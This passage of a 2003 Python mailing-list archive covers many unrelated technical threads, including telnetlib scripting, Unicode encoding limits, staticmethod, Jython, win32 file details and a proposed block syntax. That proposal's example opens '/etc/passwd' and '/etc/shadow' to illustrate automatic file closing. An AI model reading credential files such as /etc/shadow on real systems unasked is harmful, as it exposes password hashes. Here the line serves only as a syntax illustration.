that one is not always sure of the "randomness" of numbers on different 
platforms, and simple pseudo-random number generators are generally 
much more prevalent.

In which case, one absolutely does need some form of additional 
processing (hashing or otherwise) to insure reasonable security.  If 
Trevor had meant true random numbers, then the whole thread is moot.  
They could be used directly without being guessed, although that has 
limitations as well (The server has a harder time keeping track of all 
the used sequence numbers and the number generator cannot be used to 
"replay" them)

In general, for these types of things, the approach I've seen and heard 
of most is to use a random (ideally truly random) starting secret, and 
chains of cryptographic hash sequences (with periodic re-seeding).

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
(any opinion expressed is my own and not NASA's or my employer's)




From max at alcyone.com  Mon Jan 20 01:04:29 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 19 Jan 2003 22:04:29 -0800
Subject: comprehensions was Re: Switch statements again
References: <mailman.1043038115.3135.python-list@python.org>
Message-ID: <3E2B916D.D61321F8@alcyone.com>

Tim Peters wrote:

> The prospects for a conditional operator are dim.  Guido was
> interested
> enough to implement it in late 2001, but eventually rejected his own
> patch:
> 
>     http://www.python.org/sf/471421

Pity that (and thanks for the reference).  There is always hope, though;
I seem to recall him at first being strongly opposed to adding bool to
the language as well (which I also gladly welcomed).  In fact, right
from the start of using Python, a conditional operator and Booleans were
the only tangible things I truly wished for.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ A physicist is an atom's way of knowing about atoms.
\__/ George Wald
    Fauxident / http://www.alcyone.com/pyos/fauxident/
 A "faux" ident daemon in Python.



From martin at v.loewis.de  Fri Jan 24 21:09:03 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 25 Jan 2003 03:09:03 +0100
Subject: Is there really a default source encoding?
In-Reply-To: <mailman.1043426985.20235.python-list@python.org>
References: <mailman.1043426985.20235.python-list@python.org>
Message-ID: <3E31F1BF.3050105@v.loewis.de>

Brian Quinlan wrote:
> What if, in the future, there are close to 2^32 Unicode characters.
> UTF-32 might require only 4 bytes to store a character while UTF-16
> would require 6. Or is that impossible?

That's impossible. ISO and the Unicode consortium have restricted 
Unicode to 17 planes (roughly 2^21 characters) (formally, all the other 
UCS-4 code points are reserved, and ISO has unassigned the 
previously-assigned private-use group).

Even if those reserved characters would ever be assigned, UTF-16 could 
not encode them. The way surrogate pairs work, there is just no 
representation for characters in plane 18 and beyond.

Regards,
Martin




From max at alcyone.com  Wed Jan 22 21:26:45 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 22 Jan 2003 18:26:45 -0800
Subject: staticmethod() problems
References: <QyHX9.42384$F63.906360@news.xtra.co.nz>
Message-ID: <3E2F52E5.D3601AD7@alcyone.com>

Aum wrote:

> I'm trying to find a way for a static method in a class to determine
> if it
> was called from the class, or from an instance.
	...
> Is there any way to do this without having to define 2 separate
> methods?

The very purpose of staticmethod is to create a method that can be
invoked from an instance or a class and won't know the difference, or
care.  In some sense, what you're trying to do is at odds with the
purpose of classmethod in the first place.

Maybe if you back up one step and tell us why you need to know this we
could suggest a better solution.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ We're looking for a custom fit in an off-the-rack world.
\__/ Capt. Benjamin "Hawkeye" Pierce
    PyUID / http://www.alcyone.com/pyos/uid/
 A module for generating "unique" IDs in Python.



From ykingma at accessforall.nl  Sat Jan 11 03:43:51 2003
From: ykingma at accessforall.nl (Ype Kingma)
Date: Sat, 11 Jan 2003 09:43:51 +0100
Subject: Using JAR File distributions in Jython
References: <e8246d60.0301091600.32edbeb0@posting.google.com> <3e1f3ed5$0$75609$e4fe514c@dreader3.news.xs4all.nl>
Message-ID: <3e1fe006$0$94309$e4fe514c@dreader4.news.xs4all.nl>

Ype Kingma wrote:

> VLP wrote:
> 
>> I have an API distributed in JAR form, that is currently being used by
>> some Java programs. I would like to use this API from Jython. I read
>> in an earlier post, that I must set CLASSPATH to include the JAR file
>> itself, not just the directory it is in, so I did accordingly. This
>> seems to have some effect, as the next time Jython started up, it
>> recognized the JAR file, and did some processing (notably adding it to
>> the cachedir package cache, and changing package.idx)
> 
> When jython does not repeat such indexing the next time you call jython
> with the jar on the class path you have the expected behaviour.
>  
>> However, I still cannot "import" any classes from the JAR file. I
>> tried following forms:
>> 
>> import com.company.product.api.class
>> and
>> from com.company.product.api import class
>> and
>> from com.company.product.api import *
>> 
>> I get the error:  No module named company
> 
> You might try this interactively:
> 
> Jython 2.1 on java1.3.1_04 (JIT: null)
> Type "copyright", "credits" or "license" for more information.
>>>> import com
>>>> dir(com)
> ['__name__', 'sun', 'ziclix']
> 
> to see what things are available in com. In this case there
> is nothing but the minimum on the class path (jython.jar).
> When there is a package com.company in a jar on the class path
> you should also see company mentioned.
> Note that 'company' should be a public java package.

Oops. I'm confusing java packages and classes here. Sorry.
Ype




From grayrest at grayrest.com  Tue Jan 28 22:51:21 2003
From: grayrest at grayrest.com (grayrest)
Date: Tue, 28 Jan 2003 22:51:21 -0500
Subject: Browser front-end, python back-end
In-Reply-To: <mJycne7YFOFYaqujXTWcpw@comcast.com>
References: <fd5aa35c.0301280922.a952dc7@posting.google.com> <slrnb3dg7u.lr.lee@bad-bart.lcp.nrl.navy.mil> <b16jlp$fii$1@newsmaster.cc.columbia.edu> <877kcp6kp3.fsf@theasylum.dyndns.org> <mJycne7YFOFYaqujXTWcpw@comcast.com>
Message-ID: <b17j7d$kaq$1@news-int.gatech.edu>

Terry Reedy wrote:
> I have played several (turn-based) games (over the Intenet) that use a
> browser as a front end and I think it is a WRETCHED interface for the
> purpose.  With every move, the game board has to be download again.
> The screen blinks, and the scroll bar jumps back up to the top.  I
> mostly quite playing them because they give me headaches.  Ugh.

If you have a JS application, this isn't necessary. I've played a simple 
hack-n-slash that used IE custom scripting and worked pretty well [1] 
without blinks/reloads etc. If you're going to put effort into it (and 
be willing to only support one or two browsers), browser based games can 
turn out just fine. Though in this case I think PyGame would probably 
turn out better...

[1] I should have bookmarked the page, but it was an isometric 
diabloesque HTML game that you could play either a rogue, barbarian, or 
fighter. The most remarkable feature about the game was that you hover 
over a little sun icon to recharge your health. If anyone knows what it 
was, I'd like to bookmark it for reference.

-- 
grayrest
http://grayrest.com/moz




From dwelch91 at no.spam.attbi.com  Sat Jan 18 21:17:08 2003
From: dwelch91 at no.spam.attbi.com (djw)
Date: Sun, 19 Jan 2003 02:17:08 GMT
Subject: [win32all]: Getting file details
In-Reply-To: <qdsc0b.v9a.ln@boundary.tundraware.com>
References: <qdsc0b.v9a.ln@boundary.tundraware.com>
Message-ID: <EUnW9.732478$WL3.740894@rwcrnsc54>

Tim Daneliuk wrote:
> Can some Kind Soul point me to a place which describes how to do the 
> following,
> presumably with win32all:
> 
>      1) Get the owner name and group name for file/directory ownership.
>      2) Get the Windows permissions (RAHS ...) for a file/directory.
>      3) Get the details for a *drive* (owner, group, volume name, 
> total/free space)
> 
> TIA,
Take a look at the win32file module in the PythonWin documentation. 
There you will find funstions like GetFileAttributes(), 
GetDiskFreeSpace(), etc. Also, look at win32security.

/d/




From bokr at oz.net  Fri Jan 10 14:35:51 2003
From: bokr at oz.net (Bengt Richter)
Date: 10 Jan 2003 19:35:51 GMT
Subject: telnetlib
References: <mailman.1042211659.514.python-list@python.org>
Message-ID: <avn7an$t4j$0@216.39.172.122>

On Fri, 10 Jan 2003 09:11:55 -0600, "Dickerson, Dee" <Dickerson4 at dow.com> wrote:

>This message is in MIME format. Since your mail reader does not understand
>this format, some or all of this message may not be legible.
FYI, by posting HTML on usenet, you create in some people an emotional obstacle
to reading further, even if there is a cleartext part at the beginning.

>
>------_=_NextPart_001_01C2B8BA.9C916F80
>Content-Type: text/plain;
>	charset="iso-8859-1"
>
>Below is telnet code that I am trying to get going.  I am going from a Windows2000 machine to a Redhat Linux machine; the ls command will not run as I can tell; it does not return any output.
> 
>I need to be able to execute other commands such as ps with options such as
> 
>ps -eda -format pid,command |grep legion-server,,,,, etc|
> 
>I would appreciate any help that anyone could offer.
> 
> 
>import telnetlib
>import sys
>from hostlistdee import hostlistdee
> 
>user='legion'
>pw='*******'
> 
>for host in hostlistdee:
>   try:
>      tn=telnetlib.Telnet(host)
>      tn.read_until("login: ")
>      tn.write(user+'\n') 
>      tn.read_until('Password: ')
>      tn.write(pw+'\n')
>      tn.write('ls\n')
>      tn.write('exit\n')
>      tn.read_all()
>      tn.close()
>      print 'started ',host
>   except:
>      print 'failed ',host
>   # end try
># end def
>
>------_=_NextPart_001_01C2B8BA.9C916F80
>Content-Type: text/html;
[... 272 lines (9599 bytes) of machine generated garbage snipped ...]

First, can you telnet manually to the first host using exactly the sequence
of data transfer above?

Second, if tn.read_all() returns some data, what are you doing with it?
What happens if you put "print tn.read_all()" ?

I don't know if you might have to do some reading of responses before
sending additional commands, but it might not be safe to assume there
are no buffering limits anywhere in your session activity. Of course,
for that you wouldn't want to use a read that would hang until the other
side closes the connection.

Regards,
Bengt Richter



From cben at techunix.technion.ac.il  Mon Jan  6 14:15:39 2003
From: cben at techunix.technion.ac.il (Beni Cherniavsky)
Date: Mon, 6 Jan 2003 21:15:39 +0200
Subject: Python vs Java garbage collection?
In-Reply-To: <mailman.1041254965.29220.python-list@python.org>
References: <kpofua.5g2.ln@anto.cuni.lan> <RI7P9.82239$pe.2817565@news2.east.cox.net>
 <7iu1gyd3x2.fsf@enark.csis.hku.hk> <PZPP9.92273$pe.3378886@news2.east.cox.net>
 <7i4r8wccej.fsf@enark.csis.hku.hk> <mailman.1041254965.29220.python-list@python.org>
Message-ID: <Pine.GSO.4.44_heb2.09.0301062050360.27086-100000@techunix.technion.ac.il>

On 2002-12-30, holger krekel wrote:

> I am currently experimentally implementing something along these lines.
> It does require introducing new syntax along with a new object protocol.
> I currently call it 'Indented Execution' as it allows an object to define
> __enter__ and __leave__ methods wrappingexecution of 'its' indented block.
>
Hey!  A sort of macros!  Tasty :-)  When could I lay my hands on it :-?

> The design is completly orthogonal to any refcount or memory management details.
>
> Though it begins to work it's still in the flow the more i get to know the
> python core internals.Btw, it's a pleasure reading and modifying the core
> python C code.I didn't touch C/C++/Java much since i got to know python.
> I was suprised at the readability of the core code.I try to keep the
> changes as minimal as possible.
>
> A preview example (could still change) of what my experiments accomplish:
>
>   <autoclose f1=open('/etc/passwd') f2=open('/etc/shadow')>
>       data1 = f1.read()
>       data2 = f2.read()
>
>   # f1 and f2 will be closed here, even if there was an exception
>   # in the indented code block. Any exception will be propagated
>   # of course.
>
> 'autoclose' is the name of an object which provides
>
>   def __enter__(self, **kw):
>       "keyword arguments containing e.g. the above 'f1' and 'f2'"
>
Why the keyword args?  Is the object supposed to poke with the calling
scope's variables to bind them there?  Or are the names passed just for
making pseudo-xml applications possible?  But note that the content of the
"element" is not passed by you so xml-like construction of data becomes
inconvenient...

>   def __leave__(self):
>       """called if execution leaves the indented block"""
>
How about passing some context info to __leave__, at least the objects to
be closed?  Otherwise, autoclose has the burden of remembering them
himself, which also means that a new autoclose should be allocated each
time the code is executed (i.e. it's a class, not an object).

> i didn't see an easy way to reuse the 'SETUP_FINALLY/END_FINALLY'
> bytecodes so i introduced new bytecodes.They might go away later.

I'm not familiar with the internals, but since your fanctionality can
probably be defined as equivallent to some python code, e.g.::

    # sticking to your semantics but see my comments above
    autoclose.__enter__(f1=open('/etc/passwd'), f2=open('/etc/shadow'))
    # by the way, what if the second open raise an exception?
    try:
        data1 = f1.read()
        data2 = f2.read()
    finally:
        autoclose.__leave__()

you can probably implement in terms of it - you should emit both the
TRY/FINALLY opcodes *and* the code to call __enter__/__leave__.

> But more about this when i have figured out the gory details of
> local namespaces & compiler passes among others. First i want
> to get my unit tests to pass :-)
>
> It's not only a conincedence that this resembles xml-syntax.Actually
> i started out using pythonic ':' syntax but this had a few problems (syntax
> ambiguity among others).

I think that adding a ':' after the '>' is still more readable.  Without
it, the following lines look as just hanging in the air (to me).  BTW, do
you allow one-line code on the same line (e.g. ``<autoclose f=x>: foo``)?

> Besides, 'Indented Execution' could allow to define
> xml-documents and conversions with a very familiar (python + xml) syntax.
>
Interesting thought.  But do you intend to use it?  If you want it to be
usable to construct data structures, you miss the part of also passing the
inner code to the controlling object, in some way (as code object? that
would allow almost full macro powers but most would consider the xml
notation improper for that).

> There will be no closing tags, though.
>
> The whole idea is to build on indentation as opposed to funny closing
> characters or tags.The open/close and acquire/release protocols are
> a variation of this theme.
>
> ok, that's enough for now.i couldn't hold myself telling you about
> this fun project :-) It's actually motivated by recent discussions here
> on c.l.py and a suggestion of Michael Hudson (who aims to provide a
> new 'with' keyword achieving a significant subset of my goals).
>
Fun indeed.  I'd like to help but I'm probably too busy (exam period
approaching %-).

-- 
Beni Cherniavsky <cben at tx.technion.ac.il>





From gduzan at bbn.com  Fri Jan 24 15:45:03 2003
From: gduzan at bbn.com (Gary Duzan)
Date: Fri, 24 Jan 2003 20:45:03 GMT
Subject: XML vs Python?
References: <slrnb293jk.1hr.nthomas@rain.cise.ufl.edu> <23891c90.0301240929.196ae7bf@posting.google.com> <87heby2u06.fsf@theasylum.dyndns.org>
Message-ID: <jBhY9.24$E67.928@paloalto-snr1.gtei.net>

In article <87heby2u06.fsf at theasylum.dyndns.org>,
Tim Lavoie  <tlavoie at acm.org> wrote:
>
>    >> Do you know that Lisp programmers have been storing data as
>    >> nested lists for forty years? You have rediscovered the wheel.
>
>At least with Lisp you have a powerful programming language with a
>natural way to express complex nested data. If you want to see
>something truly bletcherous, have a gander at those who try to write
>programs in XML.  <<shudder>> Check out:
>
>  http://www.waterlang.org/doc/tutorial_fast_intro.html
>

   Except that if you squint a bit, Water really does look a lot
like Lisp/CLOS, and in a similar way Water is set up to have the
code look like the data that it is working on. Obviously, you would
be insane to want to program in the stuff for general-purpose code,
but if you are writing XML-centric code, it could make a lot of
sense.

					Gary Duzan
					BBN Technologies
					A Verizon Company





From cnetzer at mail.arc.nasa.gov  Fri Jan 31 16:39:03 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: 31 Jan 2003 13:39:03 -0800
Subject: Python vs. C++ Builder - speed of development
In-Reply-To: <oPr_9.108013$0v.3123750@news1.tin.it>
References: <3e36d04e_2@news.vo.lu>
	 <mailman.1043793662.28129.python-list@python.org>
	 <CpFZ9.1212$wd2.100989@newsread2.prod.itd.earthlink.net>
	 <gWOZ9.134330$AA2.5582397@news2.tin.it>
	 <Y%1_9.3865$wd2.302595@newsread2.prod.itd.earthlink.net>
	 <bK6_9.140709$AA2.5799087@news2.tin.it>
	 <a2h_9.5383$Wu1.411649@newsread1.prod.itd.earthlink.net>
	 <8bbd9ac3.0301302140.6938685c@posting.google.com>
	 <oPr_9.108013$0v.3123750@news1.tin.it>
Message-ID: <1044049143.1118.28.camel@sayge.arc.nasa.gov>

On Fri, 2003-01-31 at 02:00, Alex Martelli wrote:
> Andy Freeman wrote:
>    ...
> > Which should I prefer - theory or practice?  Yes, theory can be better,
> 
> In theory, theory is preferable, but, in practice, I'd prefer practice.

That is, of course, because theory and practice are actually equal, in
theory, but in practice, they are not.

(this could become like a chain letter)

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
(any opinion expressed is my own and not NASA's or my employer's)






From vanevery at 3DProgrammer.com  Tue Jan 28 19:35:04 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Wed, 29 Jan 2003 00:35:04 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <T6DZ9.171$tf2.115@news-binary.blueyonder.co.uk>
Message-ID: <YkFZ9.1199$wd2.103797@newsread2.prod.itd.earthlink.net>

John Ochiltree wrote:
> I find that if I'm working in python I concentrate more on solutions
> to problems, whereas with c++ I tend to concentrate more on structure
> and architecture. However, that's not to say that my thinking is any
> more abstract in either language.
>
> I wonder if there's a way of measuring what language encourages which
> way of thinking?

Maybe instead you should be thinking about what your task is.  There's
nothing wrong with thinking structurally and architecturally if those indeed
are your problems.

Python is a "glue" language, so I think you're implying that your problems
are more typically of a freeform nature.  If you're really saying "no no, I
do structural/architectural stuff in both, and I love Python syntax and hate
C++ syntax!" well, all I can say is the C++ works just fine when you Keep It
Simple Stupid and use it all the time.  I would like a few more editor
features for my function declarations, which seem a bit verbose, but it
hasn't been painful enough for me to go through the alternate pain of editor
evaluation.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From tundra at tundraware.com  Sun Jan 19 01:20:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 19 Jan 2003 06:20:07 GMT
Subject: [win32all]: Getting file details
In-Reply-To: <EUnW9.732478$WL3.740894@rwcrnsc54>
References: <qdsc0b.v9a.ln@boundary.tundraware.com> <EUnW9.732478$WL3.740894@rwcrnsc54>
Message-ID: <m2gd0b.76e.ln@boundary.tundraware.com>

djw wrote:
> Tim Daneliuk wrote:
> 
>> Can some Kind Soul point me to a place which describes how to do the 
>> following,
>> presumably with win32all:
>>
>>      1) Get the owner name and group name for file/directory ownership.
>>      2) Get the Windows permissions (RAHS ...) for a file/directory.
>>      3) Get the details for a *drive* (owner, group, volume name, 
>> total/free space)
>>
>> TIA,
> 
> Take a look at the win32file module in the PythonWin documentation. 
> There you will find funstions like GetFileAttributes(), 
> GetDiskFreeSpace(), etc. Also, look at win32security.
> 
> /d/
> 

Many thanks - just what I needed...

-- 
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From bokr at oz.net  Sat Jan  4 12:59:26 2003
From: bokr at oz.net (Bengt Richter)
Date: 4 Jan 2003 17:59:26 GMT
Subject: Help, replacing the actual value from a data strucutre in a  iterator
References: <c490a7ae.0301031942.5f39a6a8@posting.google.com> <msudnajgx8ojFoujXTWcqw@comcast.com> <c490a7ae.0301040331.33ff489f@posting.google.com> <mailman.1041682627.13034.python-list@python.org>
Message-ID: <av77du$44f$0@216.39.172.122>

On Sun, 05 Jan 2003 01:15:35 +1300, Andrew McGregor <andrew at indranet.co.nz> wrote:

>Hi,
>
>--On Saturday, January 04, 2003 03:31:06 -0800 george hart 
><gehart24 at yahoo.com> wrote:
>
>>> o is now bound to 0
>>>
>>> > o=100   # where i want this assignment to change a[0] to 100
>>>
>>> No way.  You are simply rebinding 'o' to a new value.  Just write
>>> 'a[0] = 100'!
>>
>> Hi,
>>
>> I'm sorry, I think my example was not very good.  I can't just write
>> 'a[0]' because the *real* data structure I am working with is very
>> complex and nested.  It would be more like a[1][10][20][40] etc..
>>
>> I am a relatively new to python so I am probably trying solve the
>> problem the way I would in C (it would be nice to have pointers right
>> now :-).   The returned value from the .next() method appears to be
>> pointing to the same memory address as the respective element in the
>> data structure.  It seems logical that there should be an easy way to
>> modify it.
>
>It is pointing to the same address; but it's the address of the integer 
>value 0, not the list slot containing that 0.
>
>> Plus, there must be a way to do this?  What is the point of being able
>> use a generator to iterate over a structure if you can't modify any of
>> the values?
>
>How about:
>
>from __future__ import generators
>from types import *
>
>a=[0,1,2,[20,30,40],9,3]
>def generator(l):
>    for i in xrange(len(l)):
>        if type(l[i]) is list:
>            for q in generator(l[i]):
>                yield q
>        else:
>            yield (lambda : l.__getitem__(i),
>                   lambda x: l.__setitem__(i, x))
>
>print a
>gen = generator(a)
>g, s = gen.next()
>print g()
>s(100)
>print a
>g, s = gen.next()
>g, s = gen.next()
>g, s = gen.next()
>g, s = gen.next()
>s(100)
>print a
>
>which prints:
>[0, 1, 2, [20, 30, 40], 9, 3]
>0
>[100, 1, 2, [20, 30, 40], 9, 3]
>[100, 1, 2, [20, 100, 40], 9, 3]
>
That's prettier than what I suggested, but probably not a fast.

Also, though it breaks the symmetry, why not

            yield (l[i], lambda x: l.__setitem__(i, x))

since getting doesn't need to be wrapped?

Regards,
Bengt Richter



From jdavis at empires.org  Fri Jan 31 21:39:38 2003
From: jdavis at empires.org (Jeff Davis)
Date: Sat, 01 Feb 2003 02:39:38 GMT
Subject: will Python do me good?
References: <65050d4c.0301311603.4eb79a85@posting.google.com>
Message-ID: <KrG_9.44988$x9.12694590@twister.socal.rr.com>

Well, were all a little biased here, so we of course will highly recommend
python. In particular, python has the tools you need (Mike's reply
mentioned some good options) and it also has natural language syntax (not
a lot of symbols and weird characters).

The one thing that I'll add to Mike's reply is that there are a few other
databases available for windows. I've heard reports that Access can really
slow down under any kind of very minor load. If you experience that
problem, you will certainly solve it with MySQL (I normally recommend
PostgreSQL, but PostgreSQL doesn't really work well on windows.).

Regards,
        Jeff


samphdauto wrote:

> Hello every one.. Well, this is the first time I post here since I am
> thinking of learning Python... my background is VB and wanting to find
> a better language in order to build my project and not sure if Python
> is my best option. So your input is greatly appreciated.
> My project will need to extract and re-organize information form the
> web into my Access database under W2K. The info could be text, data,
> files, images, sound files, listings, HTML parsing, sound parsing and
> whathaveyou.
> 
> So if I give it a list of websites. I will need to write the code to
> get specific info from that site or page. So it may need to drill down
> to get to the info. I am not sure if I am making enough sense to you.
> I hope I am.
> 
> Thanks
> Sam




From cnetzer at mail.arc.nasa.gov  Thu Jan  9 15:47:42 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Thu, 9 Jan 2003 12:47:42 -0800
Subject: Do pythons like sugar?
In-Reply-To: <SSjT9.38031$1c.13089@nwrddc01.gnilink.net>
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <ihgT9.21296$u9.18028@fe08> <SSjT9.38031$1c.13089@nwrddc01.gnilink.net>
Message-ID: <200301092047.MAA18239@mail.arc.nasa.gov>

On Thursday 09 January 2003 11:14, Carl Banks wrote:

> What I do see is a presumptuous attitude from some of the reponders;
> maybe not condescending, but definitely presumptuous.
>
> > You asked a question, and you got answers.
>
> He got unwanted answers to a question he didn't ask.

And as was pointed out, this is solely because we wanted to understand
his motivations for writing the code itself, and wanted a better
example of what he was trying to accomplish.  That happens ALL the
time on this group, and is an indication of people taking the time to
try to be helpful.

In fact, whenever I see a class method posted, without ANY further
context to the class itself, I get very suspicious (from long
experience).  How do I know what is going on in the class, or that the
poster even understands the distinction between methods and functions?

I found Afanasiy's responses to be the presumptuous ones, like he is
*entitled* to a helpful response to a poorly posed question?  Should
the answer have been a simple and curt "no", without any further
inquiry?  I'll bet that wouldn't have garnered an "okay, thank you"
response.

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
cnetzer at mail.arc.nasa.gov




From spam at magnetic-ink.dk  Wed Jan 15 04:17:30 2003
From: spam at magnetic-ink.dk (Klaus Alexander Seistrup)
Date: Wed, 15 Jan 2003 09:17:30 +0000 (UTC)
Subject: Zope on port 80
References: <mailman.1042583860.2529.python-list@python.org>
Message-ID: <0ab79e9b-1b76-4d2d-8e1f-00264bd8d88b@news.szn.dk>

Andrew Veitch wrote:

> On Unix you have to be root to open port 80 and it's better if
> you can run Zope as a user other than root in case of security
> problems.

Zope will open the ports, then setgid() and setuid() itself to a
non-privileged user, so running Zope on port 80 is not a problem.

See z2.py for the exact details.


  // Klaus

-- 
 ><> 	vandag, m?re, altyd saam



From tismer at tismer.com  Sun Jan 12 12:45:08 2003
From: tismer at tismer.com (Christian Tismer)
Date: Sun, 12 Jan 2003 18:45:08 +0100
Subject: [ann] Minimal Python project
In-Reply-To: <7x4r8ej1r9.fsf@ruckus.brouhaha.com>
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com>
Message-ID: <3E21A9A4.1090804@tismer.com>

Paul Rubin wrote:
> Christian Tismer <tismer at tismer.de> writes:

[about MMIX]

> Native compilers are good and a generic VM are good, but modelling the
> generic VM after MMIX doesn't seem like such a great choice.  Why not
> just a simple threaded or byte-code interpreter similar to the
> intermediate code of the compiler?  MMIX is a 64-bit machine with 256
> registers and simulating it with a 32-bit machine might be much slower
> than using a stack based VM.

Well, I was keen on trying MMIX out, although it is
in fact not the simplest possible approach. Also the
64 bit property is a bit much in the future.
One ide was to use this target engine, in preparation
for real upcoming 64 bit engines like MMIX.

Maybe this should be considered again.

On bytecode and stack machines:
No, I'm not convinced that these are slower than
register engines. Instead, I'd like to use a 3-address
register engine (and that's why MMIX came into the
play), since an interpreter for that can be written
much more efficiently than for a byte code stack
engine. It does not make sense to do all the stack
manipulations in an interpreter written in C, when
it is possible to address the stack like a register
file, IMHO.

Opcode dispatch is expensive, so I have to create
effective opcodes with direct parameter access.
But maybe you're right and it shouldn't be MMIX.

Maybe further that this absolutely doesn't matter
at all: Any working virtual machine *would do it*,
since we finally want to create code for the target
hardware, and the virtual must only work for
the bootstrapping phase. (Well, it should load the
real engine in finite time :-)

> Heck, maybe you could even emit C code and compile it externally, sort
> of like Kyoto Common Lisp (now AKCL/GNU Common Lisp) does.

Yes, this is another alternative for bootstrapping.

[Language extensions]

> I think that local declarations and type hints are useful language
> improvements for more reasons than helping generate fast code.  They
> can also help application programmer avoid bugs.  The compiler can
> flag undeclared variables (similar to perl's very worthwhile directive
> "use strict") and it can (in non-optimizing mode) emit code to check
> that all the type advice is correct at runtime and throw an exception
> if the advice fails.  If these features were present in Python I'd use
> them all the time.  But I started a clpy thread about it some time
> back and it went nowhere.

You are right.
There are some reasons why I don't want to go this
way right from the beginning:
You have started this thread once and it went nowhere.
I also remember of many threads concerning type
notations and interfaces and whatsoever.
They all went into some doomed state after burning
many hours of thinking and writing.

I just don't want to loose much time now.
If we start changing Python before implementing something,
then I fear this project will die out because we get
stuck in the same discusions, again.
Better to go without hints and languages improvements
as much as possible. This makes the project much less
vulnerable.

As soon as we see a dead end without adding hints to
the language, then we can try ways how to include
them. If they are needed, they will come into existence,
without blowing all the energy into mailing lists
for no result.

all the best -- chris

-- 
Christian Tismer             :^)   <mailto:tismer at tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/






From tjreedy at udel.edu  Wed Jan 29 19:57:56 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 29 Jan 2003 19:57:56 -0500
Subject: int('0.0') throws an exception
References: <37bc2c.0301291602.7f6c6c4f@posting.google.com>
Message-ID: <cASdnQKhhoxf5KWjXTWcpA@comcast.com>

"Ragu Bharadwaj" <Ragu.Bharadwaj at amphoracorp.com> wrote in message
news:37bc2c.0301291602.7f6c6c4f at posting.google.com...
> Why is it that
> int('0') and int(0.0) are OK but int('0.0') throws an Exception?

Because '0.0' is the sting version of a float, not an int.
int(float('0.0')) work fine.

int() could have been writen to convert the longest digit prefix and
ignore rest, but it was decided that this could too often mask a bug
in your program.

Terry J. Reedy





From abelikov72 at hotmail.com  Thu Jan  9 05:51:55 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Thu, 09 Jan 2003 10:51:55 GMT
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <3E1D4953.1080704@mxm.dk>
Message-ID: <o1lq1v8p8hd8a7u4ppju93h8sb7idcoh9r@4ax.com>

On Thu, 09 Jan 2003 11:05:07 +0100, Max M <maxm at mxm.dk> wrote:

>No. But a little imagination takes you a long part of the way:
>
>def format( self, width=80 ):
>     twidth = self.textwidth
>     lines = ['']
>     i = 0
>     for word in self.text.split():
>         if twidth(lines[i]) + twidth(word) <= width:
>             if twidth(lines[i]) > 0:
>                 lines[i] += ' '
>             lines[i] += word
>         else:
>             i += 1
>             lines.append(word)
>     self.lines = lines

I already knew I could make aliases/references or 'macros' (as the
documentation calls them) to members I wish to access more easily.

I am not arguing for some addition to the language, I just asked a
question and the answer is apparently no, except for the knowledge
Dalke is withholding of course. But I can find that one my own...
I just thought this would be a little better than some irc channel.



From sholden at holdenweb.com  Thu Jan  9 17:55:16 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Thu, 9 Jan 2003 17:55:16 -0500
Subject: Qt/PyQt licensing
References: <avktp6$mso$1@bob.news.rcn.net>
Message-ID: <h7nT9.33403$u9.2709@fe08>

"morden" <morden at shadows.net> wrote ...
> Say I distribute PyQt as part of a commercial app written in Python
> and do not extend pythonqt interpreter with proprietary code.
>
> I need commercial licenses for PyQt only at 150 pounds per developer's
> seat and can use Qt non commercial license. Is this correct assumption?
>
I should have thought this question was best addressed to RiverBank
Computing and TrollTech. It's their licensing you'll have to satisfy.

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/








From andrew.markebo at telia.com  Sat Jan 18 16:53:44 2003
From: andrew.markebo at telia.com (Andrew Markebo)
Date: Sat, 18 Jan 2003 21:53:44 GMT
Subject: how to use PIL.image with Tkinter.canvas?
References: <b09p16$rem$1@news.tuwien.ac.at>
Message-ID: <m37kd2dt04.fsf@telia.com>

/ "meinrad recheis" <meinrad.recheis at aon.at> wrote:
| hi
| I want to use the Python Image Library for Image manipulation and i want to
| build a GUI with
| Tkinter.
|
| is it possible to view a PIL image on a Tkinter canvas?

Yep, check the docs..   
     http://www.pythonware.com/library/pil/handbook/preface.htm

"The current release includes Tk PhotoImage and BitmapImage interfaces"

UNfortunetaly I don't have the rest in my pocket here, but I know that
